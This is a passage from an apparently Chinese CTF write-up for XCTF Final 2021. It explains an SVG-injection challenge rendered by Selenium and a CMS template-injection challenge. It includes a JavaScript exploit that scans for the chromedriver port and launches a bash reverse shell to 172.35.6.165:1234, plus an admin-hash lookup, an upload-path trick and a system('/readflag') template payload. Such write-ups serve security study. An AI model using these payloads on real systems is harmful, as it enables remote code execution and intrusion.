id=\"dngs2010\"\u003edngs2010\u003c/h2\u003e\u003cp\u003e由于源码里摆明了让我们去选svg,那我们就去选svg。\u003cbr\u003e在返回的页面中,我们能看到我们输入的内容被这样拼接进了html:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://q1.qlogo.cn/g?b=qq\u0026amp;nk=\u0026#123;input\u0026#125;\u0026amp;s=640\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e继续浏览题目,发现选择二进制格式进行生成时除了像素低一点别的都一样,联想到题目中的selenium,不难猜到后段是用chrome渲染svg然后截图。多试几次就能发现,我们的输入位于 \u003ccode\u003e/img/\u003c/code\u003e 后的url中,程序取最后一个 \u003ccode\u003e.\u003c/code\u003e 前的内容作为输入,之后的内容作为生成方式。\u003cbr\u003e自然而言,我们就是要打这个selenium了,不管怎么样先得xss,自然而言就得闭合标签。然而这里基本什么过滤都没有,非常舒适。\u003c/p\u003e\u003cp\u003eproof of concept:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ses.get(\u003cspan class=\"string\"\u003e\u0026#x27;http://172.35.6.36:3000/img/745679136\u0026quot; style=\u0026quot;height:0\u0026quot;\u0026gt;\u0026#x27;\u003c/span\u003e+quote(\u003cspan class=\"string\"\u003ef\u0026#x27;\u0026#x27;\u0026#x27;\u0026lt;/image\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;script\u0026gt;console.log(1)\u0026lt;/script\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"string\"\u003e\u0026lt;image\u0026gt;\u0026#x27;\u0026#x27;\u0026#x27;\u003c/span\u003e, safe=\u003cspan class=\"string\"\u003e\u0026#x27; \u0026lt;\u0026gt;\u0026#x27;\u003c/span\u003e)+\u003cspan class=\"string\"\u003e\u0026#x27;.svg\u0026#x27;\u003c/span\u003e).text)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eresult:\u003c/p\u003e\u003cfigure class=\"highlight html\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?xml version=\u0026quot;1.0\u0026quot; encoding=\u0026quot;UTF-8\u0026quot; standalone=\u0026quot;no\u0026quot;?\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003esvg\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;480px\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;120px\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003efill\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;#71e8f6\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003exmlns\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://www.w3.org/2000/svg\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;10\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ewidth\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003eheight\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;100\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ehref\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003estyle\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;height:0\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"javascript\"\u003e\u003cspan class=\"built_in\"\u003econsole\u003c/span\u003e.log(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003escript\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"symbol\"\u003e\u0026amp;amp;\u003c/span\u003es=640\u0026quot;\u0026gt;\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003eimage\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;\u003cspan class=\"name\"\u003etext\u003c/span\u003e \u003cspan class=\"attr\"\u003ex\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;120\u0026quot;\u003c/span\u003e \u003cspan class=\"attr\"\u003ey\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;25\u0026quot;\u003c/span\u003e\u0026gt;\u003c/span\u003e晚上好,来自美国(T-Mobile)的朋友\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003etext\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e略\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"tag\"\u003e\u0026lt;/\u003cspan class=\"name\"\u003esvg\u003c/span\u003e\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里有两个小细节:\u003c/p\u003e\u003cul\u003e\u003cli\u003exml规定一份文档只能有一个根结点,也就是说我们\u003cstrong\u003e不能\u003c/strong\u003e闭合svg标签。如果闭合了svg标签,html会报错导致截图不全,且svg闭合后的内容不会被渲染。\u003c/li\u003e\u003cli\u003e由于页面没有指定 \u003ccode\u003eDOCTYPE HTML\u003c/code\u003e ,我们的script标签中不能出现小于号大于号,不然会被识别成xml标签。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e第一个问题注意即可,第二个问题我们可以通过 \u003ccode\u003eeval(btoa(代码))\u003c/code\u003e 的方式进行规避。\u003cbr\u003e之后的流程参考https://paper.seebug.org/1559/,扫描端口,并向webdriver发起请求,创建新的进程,反弹shell即可。文中涉及到跨域访问仅允许localhost客户端访问webdriver的问题在本题中也不存在,因为发起请求的正是localhost。\u003cbr\u003e这道题整体而言对于这样的比赛来说没有难度,但是坑比较多,比如端口量较大,往往扫不到webdriver控制端口,再比如每次请求都启动了新的chromedriver进程,导致端口不一样,所以扫描把人扫得非常沮丧。\u003c/p\u003e\u003cdiv class='spoiler collapsed'\u003e \u003cdiv class='spoiler-title'\u003e 我所使用的js部分exploit \u003c/div\u003e \u003cdiv class='spoiler-content'\u003e \u003cfigure class=\"highlight javascript\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"keyword\"\u003easync\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026quot;start\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;start\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e n = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i = \u003cspan class=\"number\"\u003e45000\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e65535\u003c/span\u003e; i++)\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i===\u003cspan class=\"number\"\u003e3000\u003c/span\u003e)\u003cspan class=\"keyword\"\u003econtinue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e$\u0026#123;i\u0026#125;\u003c/span\u003e/sessions`\u003c/span\u003e, \u0026#123; \u003cspan class=\"attr\"\u003emode\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026quot;no-cors\u0026quot;\u003c/span\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = \u003cspan class=\"string\"\u003e\u0026quot;middle\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;middle\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;end\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e n = i;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = n;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state == \u003cspan class=\"string\"\u003e\u0026quot;end\u0026quot;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML = err;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ewindow\u003c/span\u003e.state = \u003cspan class=\"string\"\u003e\u0026quot;err\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026quot;...\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003etry\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003elet\u003c/span\u003e x = \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e fetch(\u003cspan class=\"string\"\u003e`http://localhost:\u003cspan class=\"subst\"\u003e$\u0026#123;n\u0026#125;\u003c/span\u003e/session`\u003c/span\u003e, \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e method: \u003cspan class=\"string\"\u003e\u0026#x27;POST\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e mode: \u003cspan class=\"string\"\u003e\u0026quot;no-cors\u0026quot;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e body: \u003cspan class=\"built_in\"\u003eJSON\u003c/span\u003e.stringify(\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;capabilities\u0026quot;\u003c/span\u003e:\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;alwaysMatch\u0026quot;\u003c/span\u003e:\u0026#123;\u003cspan class=\"string\"\u003e\u0026quot;goog:chromeOptions\u0026quot;\u003c/span\u003e:\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026quot;binary\u0026quot;\u003c/span\u003e:\u003cspan class=\"string\"\u003e\u0026quot;/usr/bin/python3\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;args\u0026quot;\u003c/span\u003e: [\u003cspan class=\"string\"\u003e\u0026quot;-c__import__(\\\u0026quot;os\\\u0026quot;).system(\\\u0026quot;exec bash -i \u0026amp;\u0026gt;/dev/tcp/172.35.6.165/1234 \u0026lt;\u0026amp;1\\\u0026quot;)\u0026quot;\u003c/span\u003e]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u0026#125;\u0026#125;\u0026#125;),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"keyword\"\u003eawait\u003c/span\u003e x.text();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003ecatch\u003c/span\u003e (err) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003edocument\u003c/span\u003e.getElementById(\u003cspan class=\"string\"\u003e\u0026#x27;result\u0026#x27;\u003c/span\u003e).innerHTML += \u003cspan class=\"string\"\u003e\u0026quot;error: \u0026quot;\u003c/span\u003e + err;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)();\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003csvg width=\"480px\" height=\"120px\" fill=\"#a3185b\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\u003crect fill=\"#5ce7a4\" width=\"100%\" height=\"100%\"\u003e\u003c/rect\u003e\u003cimage x=\"10\" y=\"10\" width=\"100\" height=\"100\" href=\"http://q1.qlogo.cn/g?b=qq\u0026amp;nk=745679136\" style=\"height:0\"\u003e\u003c/image\u003e\u003ctext x=\"10\" y=\"20\" id=\"result\"\u003e46233...\u003c/text\u003e\u003cimage\u003e\u0026amp;s=640\"\u0026gt;\u003c/image\u003e\u003ctext x=\"120\" y=\"25\"\u003e晚上好,来自美国(T-Mobile)的朋友\u003c/text\u003e\u003ctext x=\"120\" y=\"45\"\u003e今天是 2021年5月29日 星期六\u003c/text\u003e\u003ctext x=\"120\" y=\"65\"\u003e您的IP是 172.35.6.165\u003c/text\u003e\u003ctext x=\"120\" y=\"85\"\u003e您使用的是 Mac OS 10.15.7 操作系统\u003c/text\u003e\u003ctext x=\"120\" y=\"105\"\u003e您使用的是 Chrome(91.0.4472.77) 浏览器\u003c/text\u003e\u003ctext x=\"10\" y=\"85\"\u003e仅供展示效果用\u003c/text\u003e\u003c/svg\u003e \u003c/div\u003e\u003c/div\u003e\u003ch2 id=\"WarmupCMS\"\u003eWarmupCMS\u003c/h2\u003e\u003cp\u003e审计代码,上手搜eval的时候发现有一个很可疑的 \u003ccode\u003efunction.math.php\u003c/code\u003e,经查阅文档,发现cms并没有自带这个函数,故猜测这个模版函数是出题人自行实现,暂定为sink点。经过刚才的一番查文档,我们也了解到这个cms有模版功能。\u003c/p\u003e\u003cp\u003e我们可以通过数据库文件中的用户md5值在线反查出密码,进入后台 \u003ccode\u003e/admincp.php\u003c/code\u003e。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e题目中的文章需要进入后台刷新缓存后才能显示\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eINSERT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eINTO\u003c/span\u003e `icms_user` (`uid`, `gid`, `pid`, `username`, `nickname`, `password`, `gender`, `fans`, `follow`, `comments`, `article`, `favorite`, `credit`, `regip`, `regdate`, `lastloginip`, `lastlogintime`, `hits`, `hits_today`, `hits_yday`, `hits_week`, `hits_month`, `setting`, `type`, `status`) \u003cspan class=\"keyword\"\u003eVALUES\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e65535\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;0\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;admin\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;iCMS\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;798709465daad71e1665888975791d7b\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e127\u003c/span\u003e, \u003cspan class=\"number\"\u003e7\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;127.0.0.1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1488883427\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;127.0.0.1\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1523165779\u003c/span\u003e, \u003cspan class=\"number\"\u003e303\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#123;\\\u0026quot;inbox\\\u0026quot;:\u0026#123;\\\u0026quot;receive\\\u0026quot;:\\\u0026quot;all\\\u0026quot;\u0026#125;\u0026#125;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/backend.png\" class=\"\"\u003e\u003cp\u003e进入后台后不难发现cms作者的本意是不想让我们在网页上直接修改模版,对可以上传的文件后缀的设置也做了限制,作者还是进行了一些河里的思考的。\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/deny.png\" class=\"\"\u003e\u003cp\u003e可惜cms的上传目录可以相对于 \u003ccode\u003e$webroot\u003c/code\u003e 任意指定,而cms放置模版的目录正位于 \u003ccode\u003e$webroot/template\u003c/code\u003e 下。我们可以指定任意文件作为主页、文章等页面的模版(如 \u003ccode\u003ehtm\u003c/code\u003e 文件),而 \u003ccode\u003ehtm\u003c/code\u003e 处于上传后缀白名单中。也就是说我们可以将 \u003ccode\u003e上传目录\u003c/code\u003e 设置为 \u003ccode\u003etemplate\u003c/code\u003e,然后上传一份htm文件,在文件管理中获取到上传的文件名,并将其设置为主页模版,即可利用模版进行RCE。\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/specify_template.png\" class=\"\"\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/modify_settings.png\" class=\"\"\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/filename.png\" class=\"\"\u003e\u003cp\u003e回到math。虽然函数实现中对危险函数进行了限制,但我随手构造的 \u003ccode\u003e\u0026lt;!--\u0026#123;math equation=(system(\u0026quot;/readflag\u0026quot;))\u0026#125;--\u0026gt;\u003c/code\u003e 恰巧突破了这一限制(带括号)(又貌似是缓存有助攻)。由于是比赛,时间紧迫,便没有深究。\u003c/p\u003e\u003cimg src=\"/2021/05/30/Security/Writeup/XCTF-Final-2021/warmup_flag.png\" class=\"\"\u003e\u003ch2 